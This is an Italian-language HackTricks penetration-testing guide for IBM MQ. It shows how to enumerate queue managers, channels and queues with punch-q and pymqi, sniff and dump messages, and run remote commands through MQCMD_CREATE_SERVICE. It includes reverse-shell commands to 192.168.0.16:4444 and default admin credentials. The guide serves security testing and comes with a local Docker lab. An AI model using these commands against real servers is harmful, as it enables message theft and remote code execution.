hacktricks/network-services-pentesting/1414-pentesting-ibmmq.md
2024-02-10 13:03:23 +00:00

343 lines
19 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 1414 - Pentesting IBM MQ
<details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al [repo hacktricks](https://github.com/carlospolop/hacktricks) e al [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
## Informazioni di base
IBM MQ è una tecnologia IBM per gestire code di messaggi. Come altre tecnologie di **message broker**, è dedicata a ricevere, archiviare, elaborare e classificare informazioni tra produttori e consumatori.
Per impostazione predefinita, **espone la porta TCP IBM MQ 1414**.
A volte, l'API REST HTTP può essere esposta sulla porta **9443**.
Le metriche (Prometheus) potrebbero anche essere accessibili dalla porta TCP **9157**.
La porta TCP IBM MQ 1414 può essere utilizzata per manipolare messaggi, code, canali, ... ma **anche per controllare l'istanza**.
IBM fornisce una vasta documentazione tecnica disponibile su [https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq).
## Strumenti
Uno strumento suggerito per una facile esecuzione è **[punch-q](https://github.com/sensepost/punch-q)**, con l'utilizzo di Docker. Lo strumento utilizza attivamente la libreria Python `pymqi`.
Per un approccio più manuale, utilizzare la libreria Python **[pymqi](https://github.com/dsuch/pymqi)**. Sono necessarie le [dipendenze IBM MQ](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc).
### Installazione di pymqi
È necessario installare e caricare le **dipendenze IBM MQ**:
1. Crea un account (IBMid) su [https://login.ibm.com/](https://login.ibm.com/).
2. Scarica le librerie IBM MQ da [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc). Per Linux x86_64 è **9.0.0.4-IBM-MQC-LinuxX64.tar.gz**.
3. Decomprimi (`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`).
4. Esegui `sudo ./mqlicense.sh` per accettare i termini delle licenze.
>Se si utilizza Kali Linux, modificare il file `mqlicense.sh`: rimuovere/commentare le seguenti righe (tra le righe 105-110):
>
>```bash
>if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
> then
> echo "ERROR: This package is incompatible with this system"
> echo " This package was built for ${BUILD_PLATFORM}"
> exit 1
>fi
>```
5. Installa questi pacchetti:
```bash
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
```
6. Successivamente, aggiungi temporaneamente i file `.so` a LD: `export LD_LIBRARY_PATH=/opt/mqm/lib64`, **prima** di eseguire altri strumenti che utilizzano queste dipendenze.
Successivamente, puoi clonare il progetto [**pymqi**](https://github.com/dsuch/pymqi): contiene interessanti frammenti di codice, costanti, ... Oppure puoi installare direttamente la libreria con: `pip install pymqi`.
### Utilizzo di punch-q
#### Con Docker
Basta usare: `sudo docker run --rm -ti leonjza/punch-q`.
#### Senza Docker
Clona il progetto [**punch-q**](https://github.com/sensepost/punch-q) e segui le istruzioni per l'installazione (`pip install -r requirements.txt && python3 setup.py install`).
Successivamente, può essere utilizzato con il comando `punch-q`.
## Enumerazione
Puoi provare a enumerare il **nome del gestore della coda, gli utenti, i canali e le code** con **punch-q** o **pymqi**.
### Gestore della coda
A volte, non c'è protezione contro l'ottenimento del nome del gestore della coda:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR
```
### Canali
**punch-q** utilizza una lista di parole interne (modificabile) per trovare canali esistenti. Esempio di utilizzo:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
```
Accade che alcune istanze di IBM MQ accettino richieste MQ **non autenticate**, quindi `--username / --password` non è necessario. Naturalmente, i diritti di accesso possono variare.
Appena otteniamo un nome di canale (in questo caso: `DEV.ADMIN.SVRCONN`), possiamo enumerare tutti gli altri canali.
L'enumerazione può essere effettuata essenzialmente con questo frammento di codice `code/examples/dis_channels.py` da **pymqi**:
```python
import logging
import pymqi
logging.basicConfig(level=logging.INFO)
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
prefix = '*'
args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)
qmgr.disconnect()
```
... Ma **punch-q** incorpora anche quella parte (con ulteriori informazioni!).
Può essere avviato con:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...
| Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN | Server-connection | | | | | |
| DEV.APP.SVRCONN | Server-connection | app | | | | |
| SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | |
| SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | |
| SYSTEM.DEF.AMQP | AMQP | | | | | |
| SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | |
| SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | |
| SYSTEM.DEF.RECEIVER | Receiver | | | | | |
| SYSTEM.DEF.REQUESTER | Requester | | | | | |
| SYSTEM.DEF.SENDER | Sender | | | | | |
| SYSTEM.DEF.SERVER | Server | | | | | |
| SYSTEM.DEF.SVRCONN | Server-connection | | | | | |
| SYSTEM.DEF.CLNTCONN | Client-connection | | | | | |
```
### Code
Ecco un frammento di codice con **pymqi** (`dis_queues.py`), ma **punch-q** permette di ottenere ulteriori informazioni sulle code:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description |
| | | | | | GR Name | eue Nam | |
| | | | | | | e | |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | |
| 0 18.35.1 | E | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
# Truncated
```
## Sfruttare
### Estrarre messaggi
Puoi prendere di mira code/canali per intercettare/estrarre messaggi da essi (operazione non distruttiva). *Esempi:*
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
```
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
```
**Non esitare a iterare su tutte le code identificate.**
### Esecuzione del codice
> Alcuni dettagli prima di continuare: IBM MQ può essere controllato attraverso diversi metodi: MQSC, PCF, Control Command. Alcuni elenchi generali possono essere trovati nella [documentazione di IBM MQ](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison).
> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (***Programmable Command Formats***) è ciò su cui ci concentriamo per interagire in remoto con l'istanza. **punch-q** e inoltre **pymqi** si basano su interazioni PCF.
>
> Puoi trovare un elenco di comandi PCF:
> * [Dalla documentazione PCF](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats), e
> * [dalle costanti](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes).
>
> Un comando interessante è `MQCMD_CREATE_SERVICE` e la sua documentazione è disponibile [qui](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms). Prende come argomento un `StartCommand` che punta a un programma locale sull'istanza (esempio: `/bin/sh`).
>
> C'è anche un avviso sul comando nella documentazione: *"Attenzione: Questo comando consente a un utente di eseguire un comando arbitrario con l'autorità mqm. Se vengono concessi i diritti per utilizzare questo comando, un utente malintenzionato o negligente potrebbe definire un servizio che danneggia i tuoi sistemi o dati, ad esempio eliminando file essenziali."*
>
> *Nota: sempre secondo la documentazione di IBM MQ (Riferimento all'amministrazione), c'è anche un endpoint HTTP su `/admin/action/qmgr/{qmgrName}/mqsc` per eseguire l'equivalente comando MQSC per la creazione del servizio (`DEFINE SERVICE`). Questo aspetto non è ancora trattato qui.*
La creazione / eliminazione del servizio con PCF per l'esecuzione remota del programma può essere fatta tramite **punch-q**:
**Esempio 1**
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
```
> Nei log di IBM MQ, è possibile leggere che il comando è stato eseguito con successo:
>
> ```bash
> 2023-10-10T19:13:01.713Z AMQ5030I: Il comando '808544aa7fc94c48' è stato avviato. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
> ```
È anche possibile enumerare i programmi esistenti sulla macchina (qui `/bin/doesnotexist` ... non esiste):
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436
Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done
```
**Fai attenzione che il lancio del programma è asincrono. Quindi hai bisogno di un secondo elemento per sfruttare l'exploit** ***(ascoltatore per la shell inversa, creazione di file su un servizio diverso, esfiltrazione di dati tramite la rete...)***
**Esempio 2**
Per una shell inversa semplice, **punch-q** propone anche due payload per la shell inversa:
* Uno con bash
* Uno con perl
*Ovviamente puoi crearne uno personalizzato con il comando `execute`.*
Per bash:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
```
Per perl:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
```
### PCF personalizzato
Puoi approfondire la documentazione di IBM MQ e utilizzare direttamente la libreria python **pymqi** per testare comandi PCF specifici non implementati in **punch-q**.
**Esempio:**
```python
import pymqi
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response
qmgr.disconnect()
```
Se non riesci a trovare i nomi delle costanti, puoi fare riferimento alla [documentazione di IBM MQ](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors).
> *Esempio per [`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster) (Decimale = 73). Richiede il parametro `MQCA_CLUSTER_NAME` (Decimale = 2029) che può essere `*` (Doc: ):*
>
> ```python
> import pymqi
>
> queue_manager = 'MYQUEUEMGR'
> channel = 'DEV.ADMIN.SVRCONN'
> host = '172.17.0.2'
> port = '1414'
> conn_info = '%s(%s)' % (host, port)
> user = 'admin'
> password = 'passw0rd'
>
> qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
> pcf = pymqi.PCFExecute(qmgr)
>
> try:
> args = {2029: "*"}
> response = pcf.MQCMD_REFRESH_CLUSTER(args)
> except pymqi.MQMIError as e:
> print("Errore")
> else:
> print(response)
>
> qmgr.disconnect()
> ```
## Ambiente di test
Se desideri testare il comportamento e gli exploit di IBM MQ, puoi configurare un ambiente locale basato su Docker:
1. Avere un account su ibm.com e cloud.ibm.com.
2. Creare un'istanza containerizzata di IBM MQ con:
```bash
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2
```
Di default, l'autenticazione è abilitata, il nome utente è `admin` e la password è `passw0rd` (variabile d'ambiente `MQ_ADMIN_PASSWORD`).
Qui, il nome del gestore della coda è stato impostato su `MYQUEUEMGR` (variabile `MQ_QMGR_NAME`).
Dovresti avere IBM MQ in esecuzione con le sue porte esposte:
```bash
sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
```
> La vecchia versione delle immagini Docker di IBM MQ si trova su: https://hub.docker.com/r/ibmcom/mq/.
## Riferimenti
* [Appunti pratici sul penetration testing di IBM MQ di mgeeky](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
* [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
* [Documentazione di IBM MQ](https://www.ibm.com/docs/en/ibm-mq)